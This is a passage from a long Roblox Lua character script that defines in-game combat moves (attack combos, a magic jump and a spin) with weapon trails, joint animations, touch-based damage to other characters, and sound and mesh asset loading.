  3231. for i = 1,10 do
  3232. wait()
  3233. Trail.Transparency = Trail.Transparency +0.1
  3234. end end)()end end)()
  3235. con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3236. for i=0,1,0.08 do
  3237. swait()
  3238. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(-10)),.3)
  3239. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(10)),.3)
  3240. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3241. Handleweld.C0=clerp(Handleweld.C0,cf(-3,1,2)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  3242. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3243. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(.5,1.8,1.5),.3)
  3244. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3245. end
  3246. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.9)
  3247. so("http://www.roblox.com/asset/?id=159972643",Torso,1,1)
  3248. for i=0,1,0.1 do
  3249. swait()
  3250. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(20)),.3)
  3251. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3252. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3253. Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-8)*angles(math.rad(-85),math.rad(0),math.rad(0)),.2)
  3254. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3255. RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(80,1.8,1.5),.3)
  3256. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3257. end
  3258. --dmgstop()
  3259. attack=false
  3260. con1:disconnect()
  3261. if TrailDeb == true then
  3262. TrailDeb = false
  3263. end
  3264. end
  3265.  
  3266. function attacktwo()
  3267. attack=true
  3268. if TrailDeb == false then
  3269. TrailDeb = true
  3270. end
  3271.  
  3272.  
  3273. coroutine.wrap(function()
  3274. local Old = Handle2.CFrame.p
  3275. while wait()do
  3276. if not TrailDeb then break end
  3277. local New = Handle2.CFrame.p
  3278. local Mag =(Old -New).magnitude
  3279. local Dis =(Old +New)/2
  3280. local Trail = Instance.new("Part",Character)
  3281. Trail.Material = "Neon"
  3282. Trail.Anchored = true
  3283. Trail.CanCollide = false
  3284. Trail.BrickColor = TorsoColor
  3285. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3286. Trail.TopSurface = 0
  3287. Trail.BottomSurface = 0
  3288. Trail.formFactor = "Custom"
  3289. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3290. local ms = Instance.new("BlockMesh",Trail)
  3291. ms.Scale = Vector3.new(1,1,1)
  3292. local TM = Instance.new("CylinderMesh",Trail)
  3293. TM.Scale = Vector3.new(1,1,1)
  3294. Old = New
  3295. coroutine.wrap(function()
  3296. for i = 1,0,-0.1 do
  3297. wait()
  3298. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3299. end
  3300. Trail:remove()
  3301. end)()
  3302. coroutine.wrap(function()
  3303. for i = 1,10 do
  3304. wait()
  3305. Trail.Transparency = Trail.Transparency +0.1
  3306. end end)()end end)()
  3307. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3308. for i=0,1,0.08 do
  3309. swait()
  3310. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
  3311. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3312. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3313. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(0),math.rad(20)),.2)
  3314. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3315. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
  3316. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
  3317. end
  3318. so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  3319. so("http://www.roblox.com/asset/?id=159972627",Torso,1,1)
  3320. for i=0,1,0.1 do
  3321. swait()
  3322. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3323. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
  3324. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3325. Handle2weld.C0=clerp(Handle2weld.C0,cf(10,1,-5)*angles(math.rad(0),math.rad(-80),math.rad(20)),.2)
  3326. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3327. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  3328. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
  3329. end
  3330. --dmgstop()
  3331. attack=false
  3332. con1:disconnect()
  3333. if TrailDeb == true then
  3334. TrailDeb = false
  3335. end
  3336. end
  3337.  
  3338. function attackthree()
  3339. attack=true
  3340. if TrailDeb == false then
  3341. TrailDeb = true
  3342. end
  3343.  
  3344.  
  3345. coroutine.wrap(function()
  3346. local Old = Handle.CFrame.p
  3347. while wait()do
  3348. if not TrailDeb then break end
  3349. local New = Handle.CFrame.p
  3350. local Mag =(Old -New).magnitude
  3351. local Dis =(Old +New)/2
  3352. local Trail = Instance.new("Part",Character)
  3353. Trail.Material = "Neon"
  3354. Trail.Anchored = true
  3355. Trail.CanCollide = false
  3356. Trail.BrickColor = TorsoColor
  3357. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3358. Trail.TopSurface = 0
  3359. Trail.BottomSurface = 0
  3360. Trail.formFactor = "Custom"
  3361. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3362. local ms = Instance.new("BlockMesh",Trail)
  3363. ms.Scale = Vector3.new(1,1,1)
  3364. local TM = Instance.new("CylinderMesh",Trail)
  3365. TM.Scale = Vector3.new(1,1,1)
  3366. Old = New
  3367. coroutine.wrap(function()
  3368. for i = 1,0,-0.1 do
  3369. wait()
  3370. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3371. end
  3372. Trail:remove()
  3373. end)()
  3374. coroutine.wrap(function()
  3375. for i = 1,10 do
  3376. wait()
  3377. Trail.Transparency = Trail.Transparency +0.1
  3378. end end)()end end)()
  3379. con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Up",RootPart,.2,1) end)
  3380. for i=0,1,0.08 do
  3381. swait()
  3382. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(0)),.3)
  3383. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  3384. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3385. Handleweld.C0=clerp(Handleweld.C0,cf(3,7,-1)*angles(math.rad(20),math.rad(0),math.rad(-120)),.2)
  3386. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3387. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(0.5,-1.3,-0.1),.3)
  3388. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3389. end
  3390. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  3391. so("http://www.roblox.com/asset/?id=159882477",Torso,1,1)
  3392. for i=0,1,0.05 do
  3393. swait()
  3394. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  3395. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(0)),.3)
  3396. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3397. Handleweld.C0=clerp(Handleweld.C0,cf(2,4,-3)*angles(math.rad(120),math.rad(0),math.rad(-120)),.2)
  3398. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3399. RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(2,-1.3,0.1),.3)
  3400. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3401. end
  3402. --dmgstop()
  3403. attack=false
  3404. con1:disconnect()
  3405. if TrailDeb == true then
  3406. TrailDeb = false
  3407. end
  3408. end
  3409.  
  3410. function attackfour()
  3411. attack=true
  3412. if TrailDeb == false then
  3413. TrailDeb = true
  3414. end
  3415.  
  3416.  
  3417. coroutine.wrap(function()
  3418. local Old = Handle2.CFrame.p
  3419. while wait()do
  3420. if not TrailDeb then break end
  3421. local New = Handle2.CFrame.p
  3422. local Mag =(Old -New).magnitude
  3423. local Dis =(Old +New)/2
  3424. local Trail = Instance.new("Part",Character)
  3425. Trail.Material = "Neon"
  3426. Trail.Anchored = true
  3427. Trail.CanCollide = false
  3428. Trail.BrickColor = TorsoColor
  3429. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3430. Trail.TopSurface = 0
  3431. Trail.BottomSurface = 0
  3432. Trail.formFactor = "Custom"
  3433. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3434. local ms = Instance.new("BlockMesh",Trail)
  3435. ms.Scale = Vector3.new(1,1,1)
  3436. local TM = Instance.new("CylinderMesh",Trail)
  3437. TM.Scale = Vector3.new(1,1,1)
  3438. Old = New
  3439. coroutine.wrap(function()
  3440. for i = 1,0,-0.1 do
  3441. wait()
  3442. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3443. end
  3444. Trail:remove()
  3445. end)()
  3446. coroutine.wrap(function()
  3447. for i = 1,10 do
  3448. wait()
  3449. Trail.Transparency = Trail.Transparency +0.1
  3450. end end)()end end)()
  3451. coroutine.wrap(function()
  3452. local Old = Handle.CFrame.p
  3453. while wait()do
  3454. if not TrailDeb then break end
  3455. local New = Handle.CFrame.p
  3456. local Mag =(Old -New).magnitude
  3457. local Dis =(Old +New)/2
  3458. local Trail = Instance.new("Part",Character)
  3459. Trail.Material = "Neon"
  3460. Trail.Anchored = true
  3461. Trail.CanCollide = false
  3462. Trail.BrickColor = TorsoColor
  3463. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3464. Trail.TopSurface = 0
  3465. Trail.BottomSurface = 0
  3466. Trail.formFactor = "Custom"
  3467. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3468. local ms = Instance.new("BlockMesh",Trail)
  3469. ms.Scale = Vector3.new(1,1,1)
  3470. local TM = Instance.new("CylinderMesh",Trail)
  3471. TM.Scale = Vector3.new(1,1,1)
  3472. Old = New
  3473. coroutine.wrap(function()
  3474. for i = 1,0,-0.1 do
  3475. wait()
  3476. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3477. end
  3478. Trail:remove()
  3479. end)()
  3480. coroutine.wrap(function()
  3481. for i = 1,10 do
  3482. wait()
  3483. Trail.Transparency = Trail.Transparency +0.1
  3484. end end)()end end)()
  3485. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3486. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3487. for i=0,1,0.08 do
  3488. swait()
  3489. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  3490. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3491. Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3492. Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3493. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  3494. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  3495. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3496. LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  3497. end
  3498. if anim then
  3499. anim.Disabled=true
  3500. end
  3501. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.7)
  3502. so("http://www.roblox.com/asset/?id=159882584",Torso,1,1)
  3503. for i=0,1,0.04 do
  3504. swait()
  3505. Torso.Velocity=RootPart.CFrame.lookVector*50
  3506. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,1)*angles(math.rad(-5),math.rad(0),math.rad(0+360*i)),.3)
  3507. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3508. Handleweld.C0=clerp(Handleweld.C0,cf(3,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3509. Handle2weld.C0=clerp(Handle2weld.C0,cf(-3,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3510. RW.C0=clerp(RW.C0,cf(1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3511. LW.C0=clerp(LW.C0,cf(-1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3512. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3513. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(0,-1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3514. end
  3515. --dmgstop()
  3516. attack=false
  3517. con1:disconnect()
  3518. con2:disconnect()
  3519. if anim then
  3520. anim.Disabled=false
  3521. end
  3522. if TrailDeb == true then
  3523. TrailDeb = false
  3524. end
  3525. end
  3526.  
  3527. function BlastEffect(brickcolor, cframe, x1, y1, z1, x2, y2, z2)
  3528. local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
  3529. prt.Anchored = true
  3530. prt.CFrame = cframe
  3531. local msh = mesh("SpecialMesh", prt, "FileMesh", "http://www.roblox.com/asset/?id=20329976", vt(0, 0, 0), vt(x1, y1, z1))
  3532. coroutine.resume(coroutine.create(function()
  3533. for i = 0, 1, 0.05 do
  3534. wait()
  3535. prt.Transparency = i
  3536. msh.Scale = msh.Scale + vt(x2, y2, z2)
  3537. end
  3538. prt.Parent = nil
  3539. end))
  3540. end
  3541.  
  3542. function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
  3543. for _, c in pairs(workspace:children()) do
  3544. local hum = c:findFirstChild("Humanoid")
  3545. if hum ~= nil then
  3546. local head = c:findFirstChild("Torso")
  3547. if head ~= nil then
  3548. local targ = head.Position - Part.Position
  3549. local mag = targ.magnitude
  3550. if mag <= magni and c.Name ~= Player.Name then
  3551. Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
  3552. end
  3553. end
  3554. end
  3555. end
  3556. end
  3557.  
  3558. function MagicCircle(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
  3559. local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
  3560. prt.Anchored = true
  3561. prt.CFrame = cframe
  3562. local msh = mesh("SpecialMesh", prt, "Sphere", "", vt(0, 0, 0), vt(x1, y1, z1))
  3563. game:GetService("Debris"):AddItem(prt, 2)
  3564. coroutine.resume(coroutine.create(function(Part, Mesh)
  3565. for i = 0, 1, delay do
  3566. swait()
  3567. Part.CFrame = Part.CFrame
  3568. Part.Transparency = i
  3569. Mesh.Scale = Mesh.Scale + vt(x3, y3, z3)
  3570. end
  3571. Part.Parent = nil
  3572. end), prt, msh)
  3573. end
  3574.  
  3575. function MagicJump()
  3576. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  3577. attack=true
  3578. mana=mana-25
  3579. --[[ Humanoid.WalkSpeed = 0
  3580. for i=0,1,0.01 do
  3581. swait()
  3582. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1.2)*angles(math.rad(45),math.rad(0),math.rad(45)),.1)
  3583. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-15),math.rad(15),math.rad(-45)),.1)
  3584. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  3585. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(60),math.rad(0),math.rad(45)),.1)
  3586. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-15),math.rad(15),math.rad(-30)),.1)
  3587. RH.C0=clerp(RH.C0,cf(0.5,-1.25,0.75)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(15),math.rad(-60),math.rad(-15)),.1)
  3588. LH.C0=clerp(LH.C0,cf(-1,0.1,-0.8)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(40),math.rad(0),math.rad(-30)),.1)
  3589. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(45)),.1)
  3590. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,-6)*angles(math.rad(-15),math.rad(-60),math.rad(45)),.1)
  3591. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(60),math.rad(45)),.1)
  3592. end]]--
  3593. Humanoid.Jump = true
  3594. Torso.Velocity = vt(0, 150, 0)
  3595. Humanoid.WalkSpeed = 64
  3596. so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8)
  3597. so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8)
  3598. for i=0,1,0.05 do
  3599. swait()
  3600. Neck.C0=clerp(Neck.C0,necko*euler(0.5,0,0),.3)
  3601. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3602. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0+8*i,0,0),.3)
  3603. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  3604. RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
  3605. RH.C0=clerp(RH.C0,cf(1,0,-1)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
  3606. LH.C0=clerp(LH.C0,cf(-1,0,-1)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
  3607. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
  3608. Handleweld.C0=clerp(Handleweld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(60),math.rad(0)),.2)
  3609. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(-60),math.rad(0)),.2)
  3610. end
  3611. for i=0,1,0.02 do
  3612. swait()
  3613. Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
  3614. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3615. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
  3616. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
  3617. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  3618. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
  3619. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  3620. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
  3621. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
  3622. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  3623. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  3624. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  3625. end
  3626. Humanoid.WalkSpeed = 0
  3627. swait(8)
  3628. so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
  3629. so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
  3630. local hit,pos=rayCast(Torso.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,100,Character)
  3631. if hit~=nil then
  3632. swait(2)
  3633. local ref=part(3,workspace,"SmoothPlastic",0,1,BrickColor.new("Crimson"),"Effect",vt())
  3634. ref.Anchored=true
  3635. ref.CFrame=cf(pos)
  3636. game:GetService("Debris"):AddItem(ref,3)
  3637. for i=1,10 do
  3638. local Col=BrickColor.new("Crimson")
  3639. local groundpart=part(3,Character,"SmoothPlastic",0,0,Col,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
  3640. groundpart.Anchored=true
  3641. groundpart.CanCollide=false
  3642. groundpart.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  3643. local Col2=TorsoColor
  3644. local groundpart2=part(3,Character,"SmoothPlastic",0,0,Col2,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
  3645. groundpart2.Anchored=true
  3646. groundpart2.CanCollide=false
  3647. groundpart2.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  3648. game:GetService("Debris"):AddItem(groundpart,5)
  3649. game:GetService("Debris"):AddItem(groundpart2,5)
  3650. end
  3651. BlastEffect(TorsoColor,cf(pos),1,1,1,1.4,1.4,1.4)
  3652. BlastEffect(BrickColor.new("Crimson"),cf(pos),.9,.9,.9,1.2,1.2,1.2)
  3653. MagicCircle(BrickColor.new("Crimson"),cf(pos),5,5,5,5,5,5,0.05)
  3654. MagicCircle(TorsoColor,cf(pos),6,6,6,6,6,6,0.05)
  3655. for i=0,1,0.06 do
  3656. swait()
  3657. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-20),math.rad(0),math.rad(0)),.3)
  3658. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3659. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-0.5)*angles(math.rad(50),math.rad(0),math.rad(0)),.3)
  3660. RW.C0=clerp(RW.C0,cf(1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(-30)),.3)
  3661. LW.C0=clerp(LW.C0,cf(-1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(30)),.3)
  3662. RH.C0=clerp(RH.C0,cf(1, -.5, -.5)*angles(math.rad(50),math.rad(90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
  3663. LH.C0=clerp(LH.C0,cf(-1, -1, -.5)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
  3664. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  3665. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  3666. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  3667. end
  3668. end
  3669. swait(20)
  3670. Humanoid.WalkSpeed = 12
  3671. --dmgstop()
  3672. attack=false
  3673. end
  3674. end
  3675.  
  3676. function Spin()
  3677. attack=true
  3678. mana=mana-40
  3679. if TrailDeb == false then
  3680. TrailDeb = true
  3681. end
  3682.  
  3683. coroutine.wrap(function()
  3684. local Old = Handle2.CFrame.p
  3685. while wait()do
  3686. if not TrailDeb then break end
  3687. local New = Handle2.CFrame.p
  3688. local Mag =(Old -New).magnitude
  3689. local Dis =(Old +New)/2
  3690. local Trail = Instance.new("Part",Character)
  3691. Trail.Material = "Neon"
  3692. Trail.Anchored = true
  3693. Trail.CanCollide = false
  3694. Trail.BrickColor = TorsoColor
  3695. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3696. Trail.TopSurface = 0
  3697. Trail.BottomSurface = 0
  3698. Trail.formFactor = "Custom"
  3699. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3700. local ms = Instance.new("BlockMesh",Trail)
  3701. ms.Scale = Vector3.new(1,1,1)
  3702. local TM = Instance.new("CylinderMesh",Trail)
  3703. TM.Scale = Vector3.new(1,1,1)
  3704. Old = New
  3705. coroutine.wrap(function()
  3706. for i = 1,0,-0.1 do
  3707. wait()
  3708. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3709. end
  3710. Trail:remove()
  3711. end)()
  3712. coroutine.wrap(function()
  3713. for i = 1,10 do
  3714. wait()
  3715. Trail.Transparency = Trail.Transparency +0.1
  3716. end end)()end end)()
  3717. coroutine.wrap(function()
  3718. local Old = Handle.CFrame.p
  3719. while wait()do
  3720. if not TrailDeb then break end
  3721. local New = Handle.CFrame.p
  3722. local Mag =(Old -New).magnitude
  3723. local Dis =(Old +New)/2
  3724. local Trail = Instance.new("Part",Character)
  3725. Trail.Material = "Neon"
  3726. Trail.Anchored = true
  3727. Trail.CanCollide = false
  3728. Trail.BrickColor = TorsoColor
  3729. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3730. Trail.TopSurface = 0
  3731. Trail.BottomSurface = 0
  3732. Trail.formFactor = "Custom"
  3733. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3734. local ms = Instance.new("BlockMesh",Trail)
  3735. ms.Scale = Vector3.new(1,1,1)
  3736. local TM = Instance.new("CylinderMesh",Trail)
  3737. TM.Scale = Vector3.new(1,1,1)
  3738. Old = New
  3739. coroutine.wrap(function()
  3740. for i = 1,0,-0.1 do
  3741. wait()
  3742. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3743. end
  3744. Trail:remove()
  3745. end)()
  3746. coroutine.wrap(function()
  3747. for i = 1,10 do
  3748. wait()
  3749. Trail.Transparency = Trail.Transparency +0.1
  3750. end end)()end end)()
  3751. Footsteps:Stop()
  3752. Footsteps2:Stop()
  3753. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3754. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3755. so("http://www.roblox.com/asset/?id=159882497",Torso,1,1)
  3756. for i=0,1,0.1 do
  3757. swait()
  3758. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3759. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3760. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3761. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3762. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3763. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3764. end
  3765. if anim then
  3766. anim.Disabled=true
  3767. end
  3768. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3769. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3770. for i=0,1,0.05 do
  3771. swait()
  3772. Torso.Velocity=RootPart.CFrame.lookVector*100
  3773. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
